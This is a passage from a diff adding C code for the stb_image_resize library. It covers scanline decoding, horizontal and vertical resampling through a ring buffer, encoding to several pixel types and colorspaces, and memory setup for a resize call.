+                int in_pixel_index = in_x * channels;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int c;
+                    int out_pixel_index = k * channels;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    for (c = 0; c < channels; c++)
+                        output_buffer[out_pixel_index + c] += decode_buffer[in_pixel_index + c] * coefficient;
+                }
+            }
+            break;
+    }
+}
+
+static void stbir__decode_and_resample_upsample(stbir__info* stbir_info, int n)
+{
+    // Decode the nth scanline from the source image into the decode buffer.
+    stbir__decode_scanline(stbir_info, n);
+
+    // Now resample it into the ring buffer.
+    if (stbir__use_width_upsampling(stbir_info))
+        stbir__resample_horizontal_upsample(stbir_info, stbir__add_empty_ring_buffer_entry(stbir_info, n));
+    else
+        stbir__resample_horizontal_downsample(stbir_info, stbir__add_empty_ring_buffer_entry(stbir_info, n));
+
+    // Now it's sitting in the ring buffer ready to be used as source for the vertical sampling.
+}
+
+static void stbir__decode_and_resample_downsample(stbir__info* stbir_info, int n)
+{
+    // Decode the nth scanline from the source image into the decode buffer.
+    stbir__decode_scanline(stbir_info, n);
+
+    memset(stbir_info->horizontal_buffer, 0, stbir_info->output_w * stbir_info->channels * sizeof(float));
+
+    // Now resample it into the horizontal buffer.
+    if (stbir__use_width_upsampling(stbir_info))
+        stbir__resample_horizontal_upsample(stbir_info, stbir_info->horizontal_buffer);
+    else
+        stbir__resample_horizontal_downsample(stbir_info, stbir_info->horizontal_buffer);
+
+    // Now it's sitting in the horizontal buffer ready to be distributed into the ring buffers.
+}
+
+// Get the specified scan line from the ring buffer.
+static float* stbir__get_ring_buffer_scanline(int get_scanline, float* ring_buffer, int begin_index, int first_scanline, int ring_buffer_num_entries, int ring_buffer_length)
+{
+    int ring_buffer_index = (begin_index + (get_scanline - first_scanline)) % ring_buffer_num_entries;
+    return stbir__get_ring_buffer_entry(ring_buffer, ring_buffer_index, ring_buffer_length);
+}
+
+
+static void stbir__encode_scanline(stbir__info* stbir_info, int num_pixels, void *output_buffer, float *encode_buffer, int channels, int alpha_channel, int decode)
+{
+    int x;
+    int n;
+    int num_nonalpha;
+    stbir_uint16 nonalpha[STBIR_MAX_CHANNELS];
+
+    if (!(stbir_info->flags&STBIR_FLAG_ALPHA_PREMULTIPLIED))
+    {
+        for (x=0; x < num_pixels; ++x)
+        {
+            int pixel_index = x*channels;
+
+            float alpha = encode_buffer[pixel_index + alpha_channel];
+            float reciprocal_alpha = alpha ? 1.0f / alpha : 0;
+
+            // unrolling this produced a 1% slowdown upscaling a large RGBA linear-space image on my machine - stb
+            for (n = 0; n < channels; n++)
+                if (n != alpha_channel)
+                    encode_buffer[pixel_index + n] *= reciprocal_alpha;
+
+            // We added in a small epsilon to prevent the color channel from being deleted with zero alpha.
+            // Because we only add it for integer types, it will automatically be discarded on integer
+            // conversion, so we don't need to subtract it back out (which would be problematic for
+            // numeric precision reasons).
+        }
+    }
+
+    // build a table of all channels that need colorspace correction, so
+    // we don't perform colorspace correction on channels that don't need it.
+    for (x = 0, num_nonalpha = 0; x < channels; ++x)
+    {
+        if (x != alpha_channel || (stbir_info->flags & STBIR_FLAG_ALPHA_USES_COLORSPACE))
+        {
+            nonalpha[num_nonalpha++] = (stbir_uint16)x;
+        }
+    }
+
+    #define STBIR__ROUND_INT(f)    ((int)          ((f)+0.5))
+    #define STBIR__ROUND_UINT(f)   ((stbir_uint32) ((f)+0.5))
+
+    #ifdef STBIR__SATURATE_INT
+    #define STBIR__ENCODE_LINEAR8(f)   stbir__saturate8 (STBIR__ROUND_INT((f) * stbir__max_uint8_as_float ))
+    #define STBIR__ENCODE_LINEAR16(f)  stbir__saturate16(STBIR__ROUND_INT((f) * stbir__max_uint16_as_float))
+    #else
+    #define STBIR__ENCODE_LINEAR8(f)   (unsigned char ) STBIR__ROUND_INT(stbir__saturate(f) * stbir__max_uint8_as_float )
+    #define STBIR__ENCODE_LINEAR16(f)  (unsigned short) STBIR__ROUND_INT(stbir__saturate(f) * stbir__max_uint16_as_float)
+    #endif
+
+    switch (decode)
+    {
+        case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((unsigned char*)output_buffer)[index] = STBIR__ENCODE_LINEAR8(encode_buffer[index]);
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((unsigned char*)output_buffer)[index] = stbir__linear_to_srgb_uchar(encode_buffer[index]);
+                }
+
+                if (!(stbir_info->flags & STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((unsigned char *)output_buffer)[pixel_index + alpha_channel] = STBIR__ENCODE_LINEAR8(encode_buffer[pixel_index+alpha_channel]);
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((unsigned short*)output_buffer)[index] = STBIR__ENCODE_LINEAR16(encode_buffer[index]);
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((unsigned short*)output_buffer)[index] = (unsigned short)STBIR__ROUND_INT(stbir__linear_to_srgb(stbir__saturate(encode_buffer[index])) * stbir__max_uint16_as_float);
+                }
+
+                if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((unsigned short*)output_buffer)[pixel_index + alpha_channel] = STBIR__ENCODE_LINEAR16(encode_buffer[pixel_index + alpha_channel]);
+            }
+
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((unsigned int*)output_buffer)[index] = (unsigned int)STBIR__ROUND_UINT(((double)stbir__saturate(encode_buffer[index])) * stbir__max_uint32_as_float);
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((unsigned int*)output_buffer)[index] = (unsigned int)STBIR__ROUND_UINT(((double)stbir__linear_to_srgb(stbir__saturate(encode_buffer[index]))) * stbir__max_uint32_as_float);
+                }
+
+                if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((unsigned int*)output_buffer)[pixel_index + alpha_channel] = (unsigned int)STBIR__ROUND_INT(((double)stbir__saturate(encode_buffer[pixel_index + alpha_channel])) * stbir__max_uint32_as_float);
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((float*)output_buffer)[index] = encode_buffer[index];
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((float*)output_buffer)[index] = stbir__linear_to_srgb(encode_buffer[index]);
+                }
+
+                if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((float*)output_buffer)[pixel_index + alpha_channel] = encode_buffer[pixel_index + alpha_channel];
+            }
+            break;
+
+        default:
+            STBIR_ASSERT(!"Unknown type/colorspace/channels combination.");
+            break;
+    }
+}
+
+static void stbir__resample_vertical_upsample(stbir__info* stbir_info, int n)
+{
+    int x, k;
+    int output_w = stbir_info->output_w;
+    stbir__contributors* vertical_contributors = stbir_info->vertical_contributors;
+    float* vertical_coefficients = stbir_info->vertical_coefficients;
+    int channels = stbir_info->channels;
+    int alpha_channel = stbir_info->alpha_channel;
+    int type = stbir_info->type;
+    int colorspace = stbir_info->colorspace;
+    int ring_buffer_entries = stbir_info->ring_buffer_num_entries;
+    void* output_data = stbir_info->output_data;
+    float* encode_buffer = stbir_info->encode_buffer;
+    int decode = STBIR__DECODE(type, colorspace);
+    int coefficient_width = stbir_info->vertical_coefficient_width;
+    int coefficient_counter;
+    int contributor = n;
+
+    float* ring_buffer = stbir_info->ring_buffer;
+    int ring_buffer_begin_index = stbir_info->ring_buffer_begin_index;
+    int ring_buffer_first_scanline = stbir_info->ring_buffer_first_scanline;
+    int ring_buffer_length = stbir_info->ring_buffer_length_bytes/sizeof(float);
+
+    int n0,n1, output_row_start;
+    int coefficient_group = coefficient_width * contributor;
+
+    n0 = vertical_contributors[contributor].n0;
+    n1 = vertical_contributors[contributor].n1;
+
+    output_row_start = n * stbir_info->output_stride_bytes;
+
+    STBIR_ASSERT(stbir__use_height_upsampling(stbir_info));
+
+    memset(encode_buffer, 0, output_w * sizeof(float) * channels);
+
+    // I tried reblocking this for better cache usage of encode_buffer
+    // (using x_outer, k, x_inner), but it lost speed. -- stb
+
+    coefficient_counter = 0;
+    switch (channels) {
+        case 1:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 1;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                }
+            }
+            break;
+        case 2:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 2;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                    encode_buffer[in_pixel_index + 1] += ring_buffer_entry[in_pixel_index + 1] * coefficient;
+                }
+            }
+            break;
+        case 3:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 3;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                    encode_buffer[in_pixel_index + 1] += ring_buffer_entry[in_pixel_index + 1] * coefficient;
+                    encode_buffer[in_pixel_index + 2] += ring_buffer_entry[in_pixel_index + 2] * coefficient;
+                }
+            }
+            break;
+        case 4:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 4;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                    encode_buffer[in_pixel_index + 1] += ring_buffer_entry[in_pixel_index + 1] * coefficient;
+                    encode_buffer[in_pixel_index + 2] += ring_buffer_entry[in_pixel_index + 2] * coefficient;
+                    encode_buffer[in_pixel_index + 3] += ring_buffer_entry[in_pixel_index + 3] * coefficient;
+                }
+            }
+            break;
+        default:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * channels;
+                    int c;
+                    for (c = 0; c < channels; c++)
+                        encode_buffer[in_pixel_index + c] += ring_buffer_entry[in_pixel_index + c] * coefficient;
+                }
+            }
+            break;
+    }
+    stbir__encode_scanline(stbir_info, output_w, (char *) output_data + output_row_start, encode_buffer, channels, alpha_channel, decode);
+}
+
+static void stbir__resample_vertical_downsample(stbir__info* stbir_info, int n)
+{
+    int x, k;
+    int output_w = stbir_info->output_w;
+    stbir__contributors* vertical_contributors = stbir_info->vertical_contributors;
+    float* vertical_coefficients = stbir_info->vertical_coefficients;
+    int channels = stbir_info->channels;
+    int ring_buffer_entries = stbir_info->ring_buffer_num_entries;
+    float* horizontal_buffer = stbir_info->horizontal_buffer;
+    int coefficient_width = stbir_info->vertical_coefficient_width;
+    int contributor = n + stbir_info->vertical_filter_pixel_margin;
+
+    float* ring_buffer = stbir_info->ring_buffer;
+    int ring_buffer_begin_index = stbir_info->ring_buffer_begin_index;
+    int ring_buffer_first_scanline = stbir_info->ring_buffer_first_scanline;
+    int ring_buffer_length = stbir_info->ring_buffer_length_bytes/sizeof(float);
+    int n0,n1;
+
+    n0 = vertical_contributors[contributor].n0;
+    n1 = vertical_contributors[contributor].n1;
+
+    STBIR_ASSERT(!stbir__use_height_upsampling(stbir_info));
+
+    for (k = n0; k <= n1; k++)
+    {
+        int coefficient_index = k - n0;
+        int coefficient_group = coefficient_width * contributor;
+        float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+
+        float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+
+        switch (channels) {
+            case 1:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 1;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                }
+                break;
+            case 2:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 2;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 1] += horizontal_buffer[in_pixel_index + 1] * coefficient;
+                }
+                break;
+            case 3:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 3;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 1] += horizontal_buffer[in_pixel_index + 1] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 2] += horizontal_buffer[in_pixel_index + 2] * coefficient;
+                }
+                break;
+            case 4:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 4;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 1] += horizontal_buffer[in_pixel_index + 1] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 2] += horizontal_buffer[in_pixel_index + 2] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 3] += horizontal_buffer[in_pixel_index + 3] * coefficient;
+                }
+                break;
+            default:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * channels;
+
+                    int c;
+                    for (c = 0; c < channels; c++)
+                        ring_buffer_entry[in_pixel_index + c] += horizontal_buffer[in_pixel_index + c] * coefficient;
+                }
+                break;
+        }
+    }
+}
+
+static void stbir__buffer_loop_upsample(stbir__info* stbir_info)
+{
+    int y;
+    float scale_ratio = stbir_info->vertical_scale;
+    float out_scanlines_radius = stbir__filter_info_table[stbir_info->vertical_filter].support(1/scale_ratio) * scale_ratio;
+
+    STBIR_ASSERT(stbir__use_height_upsampling(stbir_info));
+
+    for (y = 0; y < stbir_info->output_h; y++)
+    {
+        float in_center_of_out = 0; // Center of the current out scanline in the in scanline space
+        int in_first_scanline = 0, in_last_scanline = 0;
+
+        stbir__calculate_sample_range_upsample(y, out_scanlines_radius, scale_ratio, stbir_info->vertical_shift, &in_first_scanline, &in_last_scanline, &in_center_of_out);
+
+        STBIR_ASSERT(in_last_scanline - in_first_scanline + 1 <= stbir_info->ring_buffer_num_entries);
+
+        if (stbir_info->ring_buffer_begin_index >= 0)
+        {
+            // Get rid of whatever we don't need anymore.
+            while (in_first_scanline > stbir_info->ring_buffer_first_scanline)
+            {
+                if (stbir_info->ring_buffer_first_scanline == stbir_info->ring_buffer_last_scanline)
+                {
+                    // We just popped the last scanline off the ring buffer.
+                    // Reset it to the empty state.
+                    stbir_info->ring_buffer_begin_index = -1;
+                    stbir_info->ring_buffer_first_scanline = 0;
+                    stbir_info->ring_buffer_last_scanline = 0;
+                    break;
+                }
+                else
+                {
+                    stbir_info->ring_buffer_first_scanline++;
+                    stbir_info->ring_buffer_begin_index = (stbir_info->ring_buffer_begin_index + 1) % stbir_info->ring_buffer_num_entries;
+                }
+            }
+        }
+
+        // Load in new ones.
+        if (stbir_info->ring_buffer_begin_index < 0)
+            stbir__decode_and_resample_upsample(stbir_info, in_first_scanline);
+
+        while (in_last_scanline > stbir_info->ring_buffer_last_scanline)
+            stbir__decode_and_resample_upsample(stbir_info, stbir_info->ring_buffer_last_scanline + 1);
+
+        // Now all buffers should be ready to write a row of vertical sampling.
+        stbir__resample_vertical_upsample(stbir_info, y);
+
+        STBIR_PROGRESS_REPORT((float)y / stbir_info->output_h);
+    }
+}
+
+static void stbir__empty_ring_buffer(stbir__info* stbir_info, int first_necessary_scanline)
+{
+    int output_stride_bytes = stbir_info->output_stride_bytes;
+    int channels = stbir_info->channels;
+    int alpha_channel = stbir_info->alpha_channel;
+    int type = stbir_info->type;
+    int colorspace = stbir_info->colorspace;
+    int output_w = stbir_info->output_w;
+    void* output_data = stbir_info->output_data;
+    int decode = STBIR__DECODE(type, colorspace);
+
+    float* ring_buffer = stbir_info->ring_buffer;
+    int ring_buffer_length = stbir_info->ring_buffer_length_bytes/sizeof(float);
+
+    if (stbir_info->ring_buffer_begin_index >= 0)
+    {
+        // Get rid of whatever we don't need anymore.
+        while (first_necessary_scanline > stbir_info->ring_buffer_first_scanline)
+        {
+            if (stbir_info->ring_buffer_first_scanline >= 0 && stbir_info->ring_buffer_first_scanline < stbir_info->output_h)
+            {
+                int output_row_start = stbir_info->ring_buffer_first_scanline * output_stride_bytes;
+                float* ring_buffer_entry = stbir__get_ring_buffer_entry(ring_buffer, stbir_info->ring_buffer_begin_index, ring_buffer_length);
+                stbir__encode_scanline(stbir_info, output_w, (char *) output_data + output_row_start, ring_buffer_entry, channels, alpha_channel, decode);
+                STBIR_PROGRESS_REPORT((float)stbir_info->ring_buffer_first_scanline / stbir_info->output_h);
+            }
+
+            if (stbir_info->ring_buffer_first_scanline == stbir_info->ring_buffer_last_scanline)
+            {
+                // We just popped the last scanline off the ring buffer.
+                // Reset it to the empty state.
+                stbir_info->ring_buffer_begin_index = -1;
+                stbir_info->ring_buffer_first_scanline = 0;
+                stbir_info->ring_buffer_last_scanline = 0;
+                break;
+            }
+            else
+            {
+                stbir_info->ring_buffer_first_scanline++;
+                stbir_info->ring_buffer_begin_index = (stbir_info->ring_buffer_begin_index + 1) % stbir_info->ring_buffer_num_entries;
+            }
+        }
+    }
+}
+
+static void stbir__buffer_loop_downsample(stbir__info* stbir_info)
+{
+    int y;
+    float scale_ratio = stbir_info->vertical_scale;
+    int output_h = stbir_info->output_h;
+    float in_pixels_radius = stbir__filter_info_table[stbir_info->vertical_filter].support(scale_ratio) / scale_ratio;
+    int pixel_margin = stbir_info->vertical_filter_pixel_margin;
+    int max_y = stbir_info->input_h + pixel_margin;
+
+    STBIR_ASSERT(!stbir__use_height_upsampling(stbir_info));
+
+    for (y = -pixel_margin; y < max_y; y++)
+    {
+        float out_center_of_in; // Center of the current out scanline in the in scanline space
+        int out_first_scanline, out_last_scanline;
+
+        stbir__calculate_sample_range_downsample(y, in_pixels_radius, scale_ratio, stbir_info->vertical_shift, &out_first_scanline, &out_last_scanline, &out_center_of_in);
+
+        STBIR_ASSERT(out_last_scanline - out_first_scanline + 1 <= stbir_info->ring_buffer_num_entries);
+
+        if (out_last_scanline < 0 || out_first_scanline >= output_h)
+            continue;
+
+        stbir__empty_ring_buffer(stbir_info, out_first_scanline);
+
+        stbir__decode_and_resample_downsample(stbir_info, y);
+
+        // Load in new ones.
+        if (stbir_info->ring_buffer_begin_index < 0)
+            stbir__add_empty_ring_buffer_entry(stbir_info, out_first_scanline);
+
+        while (out_last_scanline > stbir_info->ring_buffer_last_scanline)
+            stbir__add_empty_ring_buffer_entry(stbir_info, stbir_info->ring_buffer_last_scanline + 1);
+
+        // Now the horizontal buffer is ready to write to all ring buffer rows.
+        stbir__resample_vertical_downsample(stbir_info, y);
+    }
+
+    stbir__empty_ring_buffer(stbir_info, stbir_info->output_h);
+}
+
+static void stbir__setup(stbir__info *info, int input_w, int input_h, int output_w, int output_h, int channels)
+{
+    info->input_w = input_w;
+    info->input_h = input_h;
+    info->output_w = output_w;
+    info->output_h = output_h;
+    info->channels = channels;
+}
+
+static void stbir__calculate_transform(stbir__info *info, float s0, float t0, float s1, float t1, float *transform)
+{
+    info->s0 = s0;
+    info->t0 = t0;
+    info->s1 = s1;
+    info->t1 = t1;
+
+    if (transform)
+    {
+        info->horizontal_scale = transform[0];
+        info->vertical_scale   = transform[1];
+        info->horizontal_shift = transform[2];
+        info->vertical_shift   = transform[3];
+    }
+    else
+    {
+        info->horizontal_scale = ((float)info->output_w / info->input_w) / (s1 - s0);
+        info->vertical_scale = ((float)info->output_h / info->input_h) / (t1 - t0);
+
+        info->horizontal_shift = s0 * info->output_w / (s1 - s0);
+        info->vertical_shift = t0 * info->output_h / (t1 - t0);
+    }
+}
+
+static void stbir__choose_filter(stbir__info *info, stbir_filter h_filter, stbir_filter v_filter)
+{
+    if (h_filter == 0)
+        h_filter = stbir__use_upsampling(info->horizontal_scale) ? STBIR_DEFAULT_FILTER_UPSAMPLE : STBIR_DEFAULT_FILTER_DOWNSAMPLE;
+    if (v_filter == 0)
+        v_filter = stbir__use_upsampling(info->vertical_scale)   ? STBIR_DEFAULT_FILTER_UPSAMPLE : STBIR_DEFAULT_FILTER_DOWNSAMPLE;
+    info->horizontal_filter = h_filter;
+    info->vertical_filter = v_filter;
+}
+
+static stbir_uint32 stbir__calculate_memory(stbir__info *info)
+{
+    int pixel_margin = stbir__get_filter_pixel_margin(info->horizontal_filter, info->horizontal_scale);
+    int filter_height = stbir__get_filter_pixel_width(info->vertical_filter, info->vertical_scale);
+
+    info->horizontal_num_contributors = stbir__get_contributors(info->horizontal_scale, info->horizontal_filter, info->input_w, info->output_w);
+    info->vertical_num_contributors   = stbir__get_contributors(info->vertical_scale  , info->vertical_filter  , info->input_h, info->output_h);
+
+    // One extra entry because floating point precision problems sometimes cause an extra to be necessary.
+    info->ring_buffer_num_entries = filter_height + 1;
+
+    info->horizontal_contributors_size = info->horizontal_num_contributors * sizeof(stbir__contributors);
+    info->horizontal_coefficients_size = stbir__get_total_horizontal_coefficients(info) * sizeof(float);
+    info->vertical_contributors_size = info->vertical_num_contributors * sizeof(stbir__contributors);
+    info->vertical_coefficients_size = stbir__get_total_vertical_coefficients(info) * sizeof(float);
+    info->decode_buffer_size = (info->input_w + pixel_margin * 2) * info->channels * sizeof(float);
+    info->horizontal_buffer_size = info->output_w * info->channels * sizeof(float);
+    info->ring_buffer_size = info->output_w * info->channels * info->ring_buffer_num_entries * sizeof(float);
+    info->encode_buffer_size = info->output_w * info->channels * sizeof(float);
+
+    STBIR_ASSERT(info->horizontal_filter != 0);
+    STBIR_ASSERT(info->horizontal_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table)); // this now happens too late
+    STBIR_ASSERT(info->vertical_filter != 0);
+    STBIR_ASSERT(info->vertical_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table)); // this now happens too late
+
+    if (stbir__use_height_upsampling(info))
+        // The horizontal buffer is for when we're downsampling the height and we
+        // can't output the result of sampling the decode buffer directly into the
+        // ring buffers.
+        info->horizontal_buffer_size = 0;
+    else
+        // The encode buffer is to retain precision in the height upsampling method
+        // and isn't used when height downsampling.
+        info->encode_buffer_size = 0;
+
+    return info->horizontal_contributors_size + info->horizontal_coefficients_size
+        + info->vertical_contributors_size + info->vertical_coefficients_size
+        + info->decode_buffer_size + info->horizontal_buffer_size
+        + info->ring_buffer_size + info->encode_buffer_size;
+}
+
+static int stbir__resize_allocated(stbir__info *info,
+    const void* input_data, int input_stride_in_bytes,
+    void* output_data, int output_stride_in_bytes,
+    int alpha_channel, stbir_uint32 flags, stbir_datatype type,
+    stbir_edge edge_horizontal, stbir_edge edge_vertical, stbir_colorspace colorspace,
+    void* tempmem, size_t tempmem_size_in_bytes)
+{
+    size_t memory_required = stbir__calculate_memory(info);
+
+    int width_stride_input = input_stride_in_bytes ? input_stride_in_bytes : info->channels * info->input_w * stbir__type_size[type];
+    int width_stride_output = output_stride_in_bytes ? output_stride_in_bytes : info->channels * info->output_w * stbir__type_size[type];
+
+#ifdef STBIR_DEBUG_OVERWRITE_TEST
+#define OVERWRITE_ARRAY_SIZE 8
+    unsigned char overwrite_output_before_pre[OVERWRITE_ARRAY_SIZE];
+    unsigned char overwrite_tempmem_before_pre[OVERWRITE_ARRAY_SIZE];
+    unsigned char overwrite_output_after_pre[OVERWRITE_ARRAY_SIZE];
+    unsigned char overwrite_tempmem_after_pre[OVERWRITE_ARRAY_SIZE];
+
+    size_t begin_forbidden = width_stride_output * (info->output_h - 1) + info->output_w * info->channels * stbir__type_size[type];
+    memcpy(overwrite_output_before_pre, &((unsigned char*)output_data)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE);
+    memcpy(overwrite_output_after_pre, &((unsigned char*)output_data)[begin_forbidden], OVERWRITE_ARRAY_SIZE);
+    memcpy(overwrite_tempmem_before_pre, &((unsigned char*)tempmem)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE);
+    memcpy(overwrite_tempmem_after_pre, &((unsigned char*)tempmem)[tempmem_size_in_bytes], OVERWRITE_ARRAY_SIZE);
+#endif
+
+    STBIR_ASSERT(info->channels >= 0);
+    STBIR_ASSERT(info->channels <= STBIR_MAX_CHANNELS);
+
+    if (info->channels < 0 || info->channels > STBIR_MAX_CHANNELS)
+        return 0;
+
+    STBIR_ASSERT(info->horizontal_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table));
+    STBIR_ASSERT(info->vertical_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table));
+
+    if (info->horizontal_filter >= STBIR__ARRAY_SIZE(stbir__filter_info_table))
+        return 0;
+    if (info->vertical_filter >= STBIR__ARRAY_SIZE(stbir__filter_info_table))
+        return 0;
+
+    if (alpha_channel < 0)
+        flags |= STBIR_FLAG_ALPHA_USES_COLORSPACE | STBIR_FLAG_ALPHA_PREMULTIPLIED;
+
+    if (!(flags&STBIR_FLAG_ALPHA_USES_COLORSPACE) || !(flags&STBIR_FLAG_ALPHA_PREMULTIPLIED))
+        STBIR_ASSERT(alpha_channel >= 0 && alpha_channel < info->channels);
+
+    if (alpha_channel >= info->channels)
+        return 0;
+
+    STBIR_ASSERT(tempmem);
+
+    if (!tempmem)
+        return 0;
+
+    STBIR_ASSERT(tempmem_size_in_bytes >= memory_required);
+
+    if (tempmem_size_in_bytes < memory_required)
+        return 0;
+
+    memset(tempmem, 0, tempmem_size_in_bytes);
+
+    info->input_data = input_data;
+    info->input_stride_bytes = width_stride_input;
+
+    info->output_data = output_data;
+    info->output_stride_bytes = width_stride_output;
+
+    info->alpha_channel = alpha_channel;
+    info->flags = flags;
+    info->type = type;
+    info->edge_horizontal = edge_horizontal;
+    info->edge_vertical = edge_vertical;
+    info->colorspace = colorspace;
+
+    info->horizontal_coefficient_width   = stbir__get_coefficient_width  (info->horizontal_filter, info->horizontal_scale);
+    info->vertical_coefficient_width     = stbir__get_coefficient_width  (info->vertical_filter  , info->vertical_scale  );
+    info->horizontal_filter_pixel_width  = stbir__get_filter_pixel_width (info->horizontal_filter, info->horizontal_scale);
+    info->vertical_filter_pixel_width    = stbir__get_filter_pixel_width (info->vertical_filter  , info->vertical_scale  );
+    info->horizontal_filter_pixel_margin = stbir__get_filter_pixel_margin(info->horizontal_filter, info->horizontal_scale);
+    info->vertical_filter_pixel_margin   = stbir__get_filter_pixel_margin(info->vertical_filter  , info->vertical_scale  );
+
+    info->ring_buffer_length_bytes = info->output_w * info->channels * sizeof(float);
+    info->decode_buffer_pixels = info->input_w + info->horizontal_filter_pixel_margin * 2;
+
